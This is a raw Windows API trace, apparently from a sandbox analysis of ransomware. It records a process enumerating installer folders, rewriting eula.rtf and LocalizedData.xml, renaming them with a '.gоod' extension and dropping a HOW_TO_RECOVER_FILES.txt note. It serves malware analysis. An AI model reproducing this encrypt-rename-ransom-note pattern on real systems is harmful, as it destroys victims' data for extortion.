[0100.220] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1043", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1043", lpFilePart=0x0) returned 0x1a [0100.221] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0100.221] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.221] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0100.221] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0100.221] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0100.221] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0100.222] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0100.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0100.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0100.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0100.222] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1043", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1043", lpFilePart=0x0) returned 0x1a [0100.222] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0100.222] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.222] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0100.222] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0100.223] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0100.223] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0100.223] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0100.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0100.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0100.223] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1043\\eula.rtf", lpFilePart=0x0) returned 0x23 [0100.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0100.223] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x354d700 | out: lpFileInformation=0x354d700*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda)) returned 1 [0100.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0100.224] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1043\\eula.rtf", lpFilePart=0x0) returned 0x23 [0100.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0100.224] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0100.224] GetFileType (hFile=0x7b0) returned 0x1 [0100.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0100.224] GetFileType (hFile=0x7b0) returned 0x1 [0100.224] GetFileSize (in: hFile=0x7b0, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0xdda [0100.224] ReadFile (in: hFile=0x7b0, lpBuffer=0x354e6e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x354e6e8*, lpNumberOfBytesRead=0x1f6edc28*=0xdda, lpOverlapped=0x0) returned 1 [0100.225] CloseHandle (hObject=0x7b0) returned 1 [0100.324] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1043\\eula.rtf", lpFilePart=0x0) returned 0x23 [0100.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0100.324] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0100.325] GetFileType (hFile=0x7b0) returned 0x1 [0100.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0100.325] GetFileType (hFile=0x7b0) returned 0x1 [0100.325] WriteFile (in: hFile=0x7b0, lpBuffer=0x33ec1a0*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x33ec1a0*, lpNumberOfBytesWritten=0x1f6edb38*=0xde0, lpOverlapped=0x0) returned 1 [0100.326] CloseHandle (hObject=0x7b0) returned 1 [0100.326] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1043\\eula.rtf", lpFilePart=0x0) returned 0x23 [0100.326] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1043\\eula.rtf.gоod", lpFilePart=0x0) returned 0x28 [0100.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0100.326] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x3801fc66, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xde0)) returned 1 [0100.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0100.327] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.gоod" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.gоod")) returned 1 [0100.328] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0100.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0100.328] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x33ed368 | out: lpFileInformation=0x33ed368*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712)) returned 1 [0100.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0100.329] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0100.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0100.329] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0100.329] GetFileType (hFile=0x7b0) returned 0x1 [0100.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0100.329] GetFileType (hFile=0x7b0) returned 0x1 [0100.329] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0100.329] ReadFile (in: hFile=0x7b0, lpBuffer=0x33ed730, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x33ed730*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0100.330] CloseHandle (hObject=0x7b0) returned 1 [0100.330] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0100.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0100.330] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0100.331] GetFileType (hFile=0x7b0) returned 0x1 [0100.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0100.331] GetFileType (hFile=0x7b0) returned 0x1 [0100.331] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x13712 [0100.331] WriteFile (in: hFile=0x7b0, lpBuffer=0x33ee9a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x33ee9a0*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0100.331] CloseHandle (hObject=0x7b0) returned 1 [0100.332] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0100.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0100.332] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0100.332] GetFileType (hFile=0x7b0) returned 0x1 [0100.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0100.332] GetFileType (hFile=0x7b0) returned 0x1 [0100.332] ReadFile (in: hFile=0x7b0, lpBuffer=0x33f0c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x33f0c38*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0100.905] CloseHandle (hObject=0x7b0) returned 1 [0100.906] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0100.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0100.906] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0100.906] GetFileType (hFile=0x7b0) returned 0x1 [0100.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0100.906] GetFileType (hFile=0x7b0) returned 0x1 [0100.906] WriteFile (in: hFile=0x7b0, lpBuffer=0x3392e60*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x3392e60*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0100.906] CloseHandle (hObject=0x7b0) returned 1 [0100.906] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0100.906] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.gоod", lpFilePart=0x0) returned 0x31 [0100.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0100.906] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x385c97fa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x13722)) returned 1 [0100.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0100.906] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.gоod")) returned 1 [0100.907] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1043\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0100.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0100.907] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\1043\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b0 [0100.907] GetFileType (hFile=0x7b0) returned 0x1 [0100.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0100.907] GetFileType (hFile=0x7b0) returned 0x1 [0100.908] WriteFile (in: hFile=0x7b0, lpBuffer=0x3451498*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x3451498*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0100.909] CloseHandle (hObject=0x7b0) returned 1 [0100.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0100.909] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1044", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1044", lpFilePart=0x0) returned 0x1a [0100.909] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0100.910] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.910] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0100.910] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0100.911] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0100.911] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0100.911] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0100.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0100.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0100.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0100.911] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1044", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1044", lpFilePart=0x0) returned 0x1a 